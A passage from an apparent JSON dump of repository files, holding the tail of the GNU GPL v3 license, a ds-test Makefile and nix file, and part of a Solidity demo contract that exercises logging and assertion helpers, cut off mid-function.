manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit 